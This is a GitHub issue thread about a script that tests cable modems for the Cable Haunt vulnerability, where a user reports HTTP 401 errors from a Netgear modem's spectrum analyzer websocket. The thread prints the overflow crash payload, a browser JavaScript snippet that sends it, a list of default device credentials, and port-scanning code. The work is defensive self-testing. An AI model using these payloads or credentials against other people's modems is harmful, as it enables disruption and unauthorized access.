Lyrebirds / cable-haunt-vulnerability-test

289 stars 51 forks source link

If browser UI reports a 401 to the websocket endpoint, is the modem safe? #4

Open justingrant opened 4 years ago

justingrant commented 4 years ago

I found the spectrum analyzer running on port 8080 on my modem. But I've not been able to connect to it via websockets. I always get this error in the exploit script: WebSocketException: server rejected WebSocket connection: HTTP 401.

The spectrum analyzer's browser UI loads OK (although it doesn't seem to do anything) using the default admin:password creds, but I do see a 401 error on the websocket in the browser console when the page loads. For example, when I open the page in Safari, I see this in the console: image

Is it expected that the websocket requires different credentials than the spectrum analyzer web app?

Also, does this behavior described above mean that my modem has already been upgraded to safe firmware? Or is it not possible to know one way or the other because without knowing the credentials to that websocket?

I'm running a Netgear CM1150V modem running firmware version V2.02.04.

hutli commented 4 years ago

This is quite a strange behavior from what we usually see. Assuming you have tested this with the latest version of the script, a 401 means that the script uses the wrong credentials, which makes sense since this is also what you also see in the browser. This could be your ISP or manufacturer trying to mitigate the vulnerability by giving the websocket connection a different password, or disabling it entirely.

If you want to test further you can try limiting the port range to only port 8080 in the script and testing different default usernames and passwords, by changing the credentials list in the tool. If you have the time you can also try to read the report where we explain how we have found many of the default credentials used by manufacturers along the way. For instance we found many interesting credentials inside the gateway settings, which was available unencrypted on the local network of the Technicolor TC7230. We realize this is going above and beyond, it is simply to help in case you have the interest.

According to the tool, which ports, apart from 8080, answers on a bare-bones socket request? (You can just post the list of ports and responses at the bottom of the automatically generated email)

justingrant commented 4 years ago

Here's what I see in the results.

('192.168.100.1', 80) is not a websocket endpoint (WebSocketException: did not receive a valid HTTP response)
('192.168.100.1', 443) endpoint type unknown, no response (Asyncio TimeoutError: )
('192.168.100.1', 8080) is not a websocket endpoint (WebSocketException: server rejected WebSocket connection: HTTP 401)

Note that I was not able to use the test script as-is because I started getting frequent timeout errors after about port 4000. I was able to work around that problem by setting the number of threads to 1 and lengthening the TCP timeout to 20 seconds. Then I was able to extract the results above.

Interestingly, I don't get a 401 on chrome when I manually run the following javascript:

exploit = '{"jsonrpc":"2.0","method":"Frontend::GetFrontendSpectrumData","params":{"coreID":0,"fStartHz":' + 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' +',"fStopHz":1000000000,"fftSize":1024,"gain":1},"id":"0"}';
console.log(exploit);

msg1 = '{"jsonrpc":"2.0","method":"Frontend::FrontendSpectrumOpen","params":{"coreID":0},"id":"2"}';

var socket = new WebSocket("ws://192.168.100.1:8080/Frontend", 'rpc-frontend');

socket.onopen = function(e) {
  socket.send(msg1);
  socket.send(exploit);
  // socket.close();
};

On Safari, running the same code above gives me this error:

WebSocket connection to 'ws://192.168.100.1:8080/Frontend' failed: Unexpected response code: 401

Interestingly, in Chrome when I run socket.close(), I get a different error:

WebSocket connection to 'ws://192.168.100.1:8080/Frontend' failed: One or more reserved bits are on: reserved1 = 1, reserved2 = 1, reserved3 = 1

Looking at Chrome's WebSockets source code, this error is generated when a WebSocket frame's header is invalid. I'm guessing that the modem's WebSocket server returns an invalid frame header when it echoes the Close opcode back to the client. But that's just a guess.

To summarize: I've never been able to get a successful WebSockets response (other than, perhaps a bogus echo when trying to close the websocket) from the modem in any browser, or via the Python script in this repo. And I've never been able to crash my modem via WebSockets calls.

So either the WebSocket server on the modem is disabled, or accessing it requires credentials I don't know.

I was not able to find any other credentials that my modem might be using. I tried the URL in your white paper http://192.168.87.1/goform/system/GatewaySettings.bin. I also tried http://192.168.100.1/goform/system/GatewaySettings.bin which is my modem's GUI IP. No luck there either.

I'd be happy to try other specific tests or techniques you'd want me to try, just let me know.

Abstrakten commented 4 years ago

@justingrant could I convince you to try with the latest commit d97783b

We identified some issues when retrying with several credentials, which should hopefully be fixed by now.

justingrant commented 4 years ago

I tried that commit. I had to change a few things to get it to run past the port scan:

Anyway, after making those modifications I was able to get the script to run to the "Endpoint Testing" stage. In that stage, here's the output I got:

Finished scanning ports - Starting Endpoint Testing

Testing  192.168.100.1:8080

Retrying with different headers
('192.168.100.1', 8080) is not a websocket endpoint (InvalidStatusCode: server rejected WebSocket connection: HTTP 401) 

Testing  192.168.100.1:443

That's it. The script hung at port 443 and didn't actually run to completion.

Below is the code I used for the port scan. Code underneath that is unchanged from the repo.

import websockets
import webbrowser
import time
import socket
import concurrent.futures
import asyncio
import urllib.parse
from websockets.exceptions import WebSocketException
from queue import Queue
from typing import Tuple, List
from html import unescape
from base64 import b64encode
from operator import itemgetter
import sys

# ================ Scan parameters ================
# The default IPs tested for the Spectrum Analyzer 
# are a reflection of what we see in the wild.
# It is rarely hosted on the default gateway, so 
# please add IPs of changeing one, i.e. 
# ['192.168.100.1', '192.168.0.1', '192.168.1.1']
targets = ['192.168.100.1'] # , '192.168.0.1'] TODO: if the first N ports time out, then ignore that IP
portRange = range(23, 65535)
credentials = [None,'spectrum:spectrum', 'admin:password', 'askey:askey',  "user:Broadcom", 'Broadcom:Broadcom', 'broadcom:broadcom', 'admin:bEn2o#US9s', 'admin:admin']
# ================================================= 

debuging = True
validPayload = '{"jsonrpc":"2.0","method":"Frontend::GetFrontendSpectrumData","params":{"coreID":0,"fStartHz":0,"fStopHz":1218000000,"fftSize":1024,"gain":1,"numOfSamples":1},"id":"0"}'
crashPayload = '{"jsonrpc":"2.0","method":"Frontend::GetFrontendSpectrumData","params":{"coreID":0,"fStartHz":' + 'A'*200 + ',"fftSize":1024,"gain":1,"numOfSamples":1},"id":"0"}'
checkString = 'RPCResultObject'
timeout = 20
tcpTimeOut = 20
possibleTargets = []

def portscan(port, ip):
    if port % 500 == 0:
        print("progress: scanning port", port)
        time.sleep(1) # hopefully this will be enough delay to prevent timeouts
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(tcpTimeOut)
    try:
        con = s.connect((ip, port))
        print("connection response on", ip+":"+str(port))
        possibleTargets.append((ip, port))
        if con is not None:
            con.close()
        s.close()
    except ConnectionRefusedError as e:
        pass    # expected behavior for inactive ports
    except KeyboardInterrupt:
        raise   # allow user to quit
    except socket.timeout as e:
        print("exception on", ip+":"+str(port), "-", str(e))
    except:
        e = sys.exc_info()[0]
        print("exception on", ip+":"+str(port), "-", str(e))

print("Scanning ports between", portRange.start, "and",
      portRange.stop, "for adresses:", targets)

for ip in targets:
    for port in portRange:
        portscan(port, ip)
Abstrakten commented 4 years ago

Hi again,

Sorry for linking a bad commit.

We recently identified an issue with the script, that caused timeouts to increase the scripts runtime drastically.

First is the multi-threading port scanning issue, where timeouts can be false negatives. I believe it might be caused by the timer running out while the thread is suspended, but i am unsure of this. Making it single threaded should work, but will also increase runtime.

Secondly, once the port scanning has been completed, the script would in the past try a single set of credentials, and only retry with other credentials if a 401 was returned. However, we found out, that many modems would not return a 401, despite the fact that it was indeed an authorization error. In hindsight, it was probably a bit to naive to put that trust in an endpoint that we already declared to be faulty and outdated. Therefore, we modified to script to retry every known credential for each ip/port. The issue then became, that for some vulnerable endpoints each set of credentials will timeout, causing 20 seconds of delay.

We have added some further output information in our latest commit, but we are not sure how to speed up the process, without missing potentially vulnerable units.

justingrant commented 4 years ago

Personally, avoiding false positives and negatives seems more important than speed. I wouldn't worry too much about how long it takes to run the script, as long as: 1) expectations are set properly about how long it may take 2) there's progress indicators shown every <30 seconds or so, so that users will know that it's not hanging

Adding a few extra minutes seems OK as long as it won't hang forever which was the behavior I was seeing. Do you want me to try the latest commit?